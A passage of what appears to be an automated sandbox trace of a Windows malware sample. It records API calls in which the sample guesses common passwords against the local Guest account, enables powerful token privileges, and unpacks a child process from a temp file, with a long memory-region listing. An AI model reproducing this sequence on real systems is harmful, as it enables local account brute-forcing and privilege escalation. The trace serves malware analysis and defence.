lpszDomain=0x0, lpszPassword="boston", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.531] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="braves", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.531] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="yankee", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.532] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="lover", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.532] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="barney", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.532] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="victor", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.533] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tucker", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.533] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="princess", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.533] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mercedes", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.533] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="5150", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.534] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="doggie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.534] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="zzzzzz", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.534] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gunner", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.535] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="horney", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.535] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bubba", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.598] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x1d, HighPart=0)) returned 1 [0057.599] GetCurrentProcess () returned 0xffffffff [0057.599] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.599] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.599] CloseHandle (hObject=0x2a8) returned 1 [0057.599] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x7, HighPart=0)) returned 1 [0057.599] GetCurrentProcess () returned 0xffffffff [0057.599] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.599] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.599] CloseHandle (hObject=0x2a8) returned 1 [0057.599] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x17, HighPart=0)) returned 1 [0057.600] GetCurrentProcess () returned 0xffffffff [0057.600] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.600] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.600] CloseHandle (hObject=0x2a8) returned 1 [0057.600] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x2, HighPart=0)) returned 1 [0057.600] GetCurrentProcess () returned 0xffffffff [0057.600] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.600] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.600] CloseHandle (hObject=0x2a8) returned 1 [0057.600] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x11, HighPart=0)) returned 1 [0057.600] GetCurrentProcess () returned 0xffffffff [0057.600] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.600] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.600] CloseHandle (hObject=0x2a8) returned 1 [0057.600] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x12, HighPart=0)) returned 1 [0057.601] GetCurrentProcess () returned 0xffffffff [0057.601] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.601] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.601] CloseHandle (hObject=0x2a8) returned 1 [0057.601] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x5, HighPart=0)) returned 1 [0057.601] GetCurrentProcess () returned 0xffffffff [0057.601] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.601] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.601] CloseHandle (hObject=0x2a8) returned 1 [0057.601] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x3, HighPart=0)) returned 1 [0057.602] GetCurrentProcess () returned 0xffffffff [0057.602] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x21fe20 | out: TokenHandle=0x21fe20*=0x2a8) returned 1 [0057.602] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x21fe24*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.602] CloseHandle (hObject=0x2a8) returned 1 [0057.602] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName=0x0, lpLuid=0x21fe18 | out: lpLuid=0x21fe18*(LowPart=0x0, HighPart=0)) returned 0 [0057.602] lstrcmpiA (lpString1="aDU0VK IWA5kLS", lpString2="aDU0VK IWA5kLS") returned 0 [0057.602] ExitProcess (uExitCode=0x0) Thread: id = 44 os_tid = 0xa70 Thread: id = 45 os_tid = 0xa74 Process: id = "6" image_name = "bn649b.tmp" filename = "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp" page_root = "0x52bdb000" os_pid = "0xa7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9dc" cmd_line = "C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" cur_dir = "C:\\Users\\aDU0VK IWA5kLS\\Desktop\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1062 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1063 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1064 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1065 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1066 start_va = 0x90000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1067 start_va = 0x290000 end_va = 0x293fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 1068 start_va = 0x400000 end_va = 0x42efff entry_point = 0x400000 region_type = mapped_file name = "bn649b.tmp" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp") Region: id = 1069 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1070 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1071 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1072 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1073 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1074 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1075 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1076 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1077 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1078 start_va = 0x550000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1079 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1080 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1081 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1082 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1083 start_va = 0x2a0000 end_va = 0x306fff entry_point = 0x2a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1084 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1085 start_va = 0x6f0000 end_va = 0x7effff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1086 start_va = 0x73600000 end_va = 0x73612fff entry_point = 0x73600000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1087 start_va = 0x73f40000 end_va = 0x73f45fff entry_point = 0x73f40000 region_type = mapped_file name = "dciman32.dll" filename = "\\Windows\\SysWOW64\\dciman32.dll" (normalized: "c:\\windows\\syswow64\\dciman32.dll") Region: id = 1088 start_va = 0x73f50000 end_va = 0x74036fff entry_point = 0x73f50000 region_type = mapped_file name = "ddraw.dll" filename = "\\Windows\\SysWOW64\\ddraw.dll" (normalized: "c:\\windows\\syswow64\\ddraw.dll") Region: id = 1089 start_va = 0x74040000 end_va = 0x74045fff entry_point = 0x74040000 region_type = mapped_file name = "d3d8thk.dll" filename = "\\Windows\\SysWOW64\\d3d8thk.dll" (normalized: "c:\\windows\\syswow64\\d3d8thk.dll") Region: id = 1090 start_va = 0x74050000 end_va = 0x74212fff entry_point = 0x74050000 region_type = mapped_file name = "d3d9.dll" filename = "\\Windows\\SysWOW64\\d3d9.dll" (normalized: "c:\\windows\\syswow64\\d3d9.dll") Region: id = 1091 start_va = 0x74220000 end_va = 0x742a3fff entry_point = 0x74220000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1092 start_va = 0x74930000 end_va = 0x74938fff entry_point = 0x74930000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1093 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1094 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1095 start_va = 0x752e0000 end_va = 0x7543bfff entry_point = 0x7532ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1096 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1097 start_va = 0x757c0000 end_va = 0x757d1fff entry_point = 0x757c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1098 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1099 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1100 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1101 start_va = 0x75b40000 end_va = 0x75bbafff entry_point = 0x75b40000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 1102 start_va = 0x75ca0000 end_va = 0x75cc6fff entry_point = 0x75ca0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1103 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1104 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1105 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1106 start_va = 0x75ed0000 end_va = 0x75f5efff entry_point = 0x75ed3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1107 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x76061601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1108 start_va = 0x76c30000 end_va = 0x76dccfff entry_point = 0x76c30000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1109 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1110 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f29ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1111 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1112 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1113 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1114 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1115 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 1116 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 1117 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1118 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1119 start_va = 0x7f0000 end_va = 0x977fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1120 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1121 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1122 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1123 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1124 start_va = 0x310000 end_va = 0x316fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 1125 start_va = 0x320000 end_va = 0x321fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 1126 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1127 start_va = 0x500000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 1128 start_va = 0x980000 end_va = 0xb00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 1129 start_va = 0xb10000 end_va = 0x1f0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 1130 start_va = 0x1f10000 end_va = 0x2302fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 1131 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1132 start_va = 0x430000 end_va = 0x4b4fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1133 start_va = 0x5d0000 end_va = 0x654fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1134 start_va = 0x370000 end_va = 0x391fff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1135 start_va = 0x340000 end_va = 0x359fff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1153 start_va = 0x2310000 end_va = 0x2591fff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 1154 start_va = 0x25a0000 end_va = 0x2820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025a0000" filename = "" Region: id = 1155 start_va = 0x340000 end_va = 0x356fff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1156 start_va = 0x370000 end_va = 0x387fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Thread: id = 46 os_tid = 0xa80 [0058.963] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="e") returned 0xdc [0058.993] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x28ff84 | out: lpflOldProtect=0x28ff84*=0x2) returned 1 [0058.996] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleHandleA") returned 0x75dd1245 [0058.996] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryA") returned 0x75dd49d7 [0058.996] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualAlloc") returned 0x75dd1856 [0058.996] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualFree") returned 0x75dd186e [0058.996] GetProcAddress (hModule=0x75dc0000, lpProcName="OutputDebugStringA") returned 0x75dfb2b7 [0058.996] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0058.996] GetProcAddress (hModule=0x77720000, lpProcName="_stricmp") returned 0x7775c7b9 [0058.996] GetProcAddress (hModule=0x77720000, lpProcName="memset") returned 0x7774df20 [0058.996] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0058.996] VirtualAlloc (lpAddress=0x0, dwSize=0xc80, flAllocationType=0x1000, flProtect=0x40) returned 0x330000 [0058.997] VirtualAlloc (lpAddress=0x0, dwSize=0x8488c, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0059.001] VirtualAlloc (lpAddress=0x0, dwSize=0x8488c, flAllocationType=0x1000, flProtect=0x4) returned 0x5d0000 [0059.011] VirtualFree (lpAddress=0x430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.013] VirtualAlloc (lpAddress=0x0, dwSize=0x21223, flAllocationType=0x1000, flProtect=0x4) returned 0x370000 [0059.017] VirtualFree (lpAddress=0x370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.018] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.019] VirtualAlloc (lpAddress=0x0, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0x340000 [0059.021] VirtualFree (lpAddress=0x340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.021] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x757e0000 [0059.021] GetProcAddress (hModule=0x757e0000, lpProcName="MessageBoxW") returned 0x7584fd3f [0059.021] OutputDebugStringA (lpOutputString="j8I1") [0059.024] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76f10000 [0059.024] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77280000 [0059.024] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fe0000 [0059.027] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28fe64 | out: TokenHandle=0x28fe64*=0xe4) returned 1 [0059.029] GetTokenInformation (in: TokenHandle=0xe4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28fe60 | out: TokenInformation=0x0, ReturnLength=0x28fe60) returned 0 [0059.030] GetLastError () returned 0x7a [0059.032] GetTokenInformation (in: TokenHandle=0xe4, TokenInformationClass=0x19, TokenInformation=0x70a478, TokenInformationLength=0x14, ReturnLength=0x28fe60 | out: TokenInformation=0x70a478, ReturnLength=0x28fe60) returned 1 [0059.033] GetSidSubAuthorityCount (pSid=0x70a480*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x70a481 [0059.035] GetSidSubAuthority (pSid=0x70a480*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, 